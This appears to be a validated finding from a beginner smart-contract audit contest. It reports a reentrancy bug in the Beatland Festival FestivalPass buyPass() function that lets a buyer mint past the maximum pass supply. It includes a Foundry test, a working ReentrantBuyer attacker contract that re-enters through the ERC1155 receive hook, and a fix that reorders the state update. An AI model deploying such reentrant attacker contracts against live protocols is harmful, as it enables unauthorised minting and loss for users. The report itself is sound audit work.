Beatland Festival

First Flight #44
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

Reentrancy on `FestivalPass::buyPass()` function bypasses max supply limit

Reentrancy on FestivalPass::buyPass() function bypasses max supply limit

Description

The FestivalPass::buypass() function allow users to purchase festival passes. It checks that the payment is correct and that the maximum supply has not been reached by verifying the current passSupply before minting a pass.
However, the function violates the Checks-Effects-Interactions (CEI) pattern. It performs an external interaction (via _mint(msg.sender, ...)) before updating the internal state (passSupply++). If msg.sender is a contract that implements the IERC1155Receiver interface, it can re-enter buyPass() through the onERC1155Received() hook before the supply is updated, effectively bypassing the passMaxSupply constraint.

function buyPass(uint256 collectionId) external payable {
...
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
@> _mint(msg.sender, collectionId, 1, "");
++passSupply[collectionId];
...
}

Risk

Likelihood:

  • Anyone can re-enters this function due to the max supply that can be bypass.

  • The state variable passSupply is only updated after the external interaction, allowing as many entries as possible.

Impact:

  • The attacker can bypass the passMaxSupply limit and mint more pass (token) than intended, breaking scarcity.

  • This can prevent user from buying a pass, therefore severly disrupting the functionnality of the protocol.

  • infinite minting of pass can lead to gas exhaustion and transaction failures.

  • An attacker can mint excessive BEAT token rewards, which may lead to inflation or imbalances in the token economy.

Proof of Concept

Add this proof of concept in your FestivalPass.t.sol to test this reentrancy attacks.

function test_ReentrancyAttack() public {
vm.prank(organizer);
festivalPass.configurePass(1, VIP_PRICE, 3); // Configure max supply to 3
ReentrantBuyer attacker = new ReentrantBuyer(festivalPass, 1);
vm.deal(address(attacker), 1 ether);
vm.prank(address(attacker));
attacker.attack{value: VIP_PRICE}();
uint256 balance = festivalPass.balanceOf(address(attacker), 1);
console.log("Attacker minted passes:", balance);
uint256 supply = festivalPass.passSupply(1);
console.log("Recorded passSupply:", supply); // 6 mint have occurred based on the reetrantBuyer contract
assertGt(supply, 3); // Attacker should have more than the supply therefore it can mint as much as he want, breaking the logic of the protocol
}
}
contract ReentrantBuyer is IERC1155Receiver {
FestivalPass target;
uint256 passId;
uint256 reentered;
constructor(FestivalPass _target, uint256 _passId) {
target = _target;
passId = _passId;
}
function attack() external payable {
target.buyPass{value: target.passPrice(passId)}(passId);
}
function onERC1155Received(address, address, uint256, uint256, bytes calldata) external override returns (bytes4) {
if (reentered < 5) {
reentered++;
target.buyPass{value: target.passPrice(passId)}(passId);
}
return this.onERC1155Received.selector;
}
function onERC1155BatchReceived(address, address, uint256[] calldata, uint256[] calldata, bytes calldata) external override returns (bytes4) {
return this.onERC1155BatchReceived.selector;
}
function supportsInterface(bytes4 interfaceId) external pure override returns (bool) {
return interfaceId == type(IERC1155Receiver).interfaceId;
}
receive() external payable {}
}

Recommended Mitigation

The recommendation is to follow CEI patter by updating the passSupply before making the external call. Additionally, consider using ReentrancyGuard (nonReentrant modifier).

function buyPass(uint256 collectionId) external payable {
...
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
+ ++passSupply[collectionId];
_mint(msg.sender, collectionId, 1, "");
- ++passSupply[collectionId];
...
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 27 days ago
Submission Judgement Published
Validated
Assigned finding tags:

buyPass reentrancy to surpass the passMaxSupply

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.